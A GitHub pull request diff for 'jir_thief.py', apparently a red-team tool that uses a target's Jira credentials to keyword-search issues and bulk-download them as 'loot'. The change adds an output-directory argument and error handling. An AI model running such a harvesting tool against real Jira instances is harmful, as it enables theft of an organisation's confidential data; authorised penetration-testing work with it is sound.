Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[FEAT] Output path as an argument #1

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
43 changes: 27 additions & 16 deletions jir_thief.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import requests, json, sys, getopt, time
import requests, json, sys, getopt, time, os

# Set that holds all of the issues found in the keyword search
issueSet = set()
Expand Down Expand Up @@ -33,7 +33,7 @@ def getNumberOfPages(query, username, access_token, cURL):
totalSize = int(jsonResp["total"])
return totalSize

def downloadContent(username, access_token, cURL):
def downloadContent(username, access_token, cURL, output_dir):
# https://yourorg.atlassian.net/si/jira.issueviews:issue-word/KEY-123/KEY-123.doc
headers = form_token_headers
print('[*] Downloading files')
Expand All @@ -48,7 +48,7 @@ def downloadContent(username, access_token, cURL):
headers=headers
)

path = "loot/{KEY}.doc".format(KEY=issueKey)
path = "{OUTDIR}/{KEY}.doc".format(OUTDIR=output_dir, KEY=issueKey)
with open(path, 'wb') as f:
f.write(response.content)
print('[*] Downloaded {count} of {set_length} files: {KEY}.doc'.format(count=count, set_length=set_length, KEY=issueKey))
Expand Down Expand Up @@ -89,16 +89,17 @@ def searchKeyWords(path, username, access_token, cURL):
headers=default_headers,
params=searchQuery
)

jsonResp = json.loads(response.text)
if jsonResp['total']:
issues = jsonResp['issues']
for issue in issues:
issueKey = issue['key']
issueSet.add(issueKey)


start_point += 100
try:
jsonResp = json.loads(response.text)
if jsonResp['total']:
issues = jsonResp['issues']
for issue in issues:
issueKey = issue['key']
issueSet.add(issueKey)
start_point += 100
except:
print("[*] Error gathering issues.")
start_point += 100

if len(issueSet) > tempSetCount:
count = len(issueSet) - tempSetCount
Expand All @@ -116,9 +117,10 @@ def main():
username = ""
access_token = ""
user_agent = ""
output_dir = ""

# usage
usage = '\nusage: python3 jir_thief.py [-h] -j <TARGET URL> -u <Target Username> -p <API ACCESS TOKEN> -d <DICTIONARY FILE PATH> [-a] "<UA STRING>"'
usage = '\nusage: python3 jir_thief.py [-h] -j <TARGET URL> -u <Target Username> -p <API ACCESS TOKEN> -d <DICTIONARY FILE PATH> [-a] "<UA STRING>" [-o] <OUTPUT PATH>'

#help
help = '\nThis Module will connect to Jira\'s API using an access token, '
Expand All @@ -140,11 +142,12 @@ def main():
help += '\n\t\tThe User-Agent string you wish to send in the http request.'
help += '\n\t\tYou can use the latest chrome for MacOS for example: -a "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36"'
help += '\n\t\tDefault is "python-requests/2.25.1"'
help += '\n\n\t-o, --output-dir\n\t\t Output path to use instead of loot\n'
help += '\n\n\t-h, --help\n\t\tshow this help message and exit\n'

# try parsing options and arguments
try :
opts, args = getopt.getopt(sys.argv[1:], "hj:u:p:d:a:", ["help", "url=", "user=", "accesstoken=", "dict=", "user-agent="])
opts, args = getopt.getopt(sys.argv[1:], "hj:u:p:d:a:o:", ["help", "url=", "user=", "accesstoken=", "dict=", "user-agent=", "output-dir="])
except getopt.GetoptError as err:
print(str(err))
print(usage)
Expand All @@ -163,6 +166,10 @@ def main():
dict_path = arg
if opt in ("-a", "--user-agent"):
user_agent = arg
if opt in ("-o", "--output-dir"):
output_dir = arg
if not os.path.isdir(output_dir):
os.mkdir(output_dir)

# check for mandatory arguments
if not username:
Expand Down Expand Up @@ -193,8 +200,12 @@ def main():
default_headers['User-Agent'] = user_agent
form_token_headers['User-Agent'] = user_agent

# Set default loot path
if not output_dir:
output_dir = 'loot'

searchKeyWords(dict_path, username, access_token, cURL)
downloadContent(username, access_token, cURL)
downloadContent(username, access_token, cURL, output_dir)


if __name__ == "__main__":
Expand Down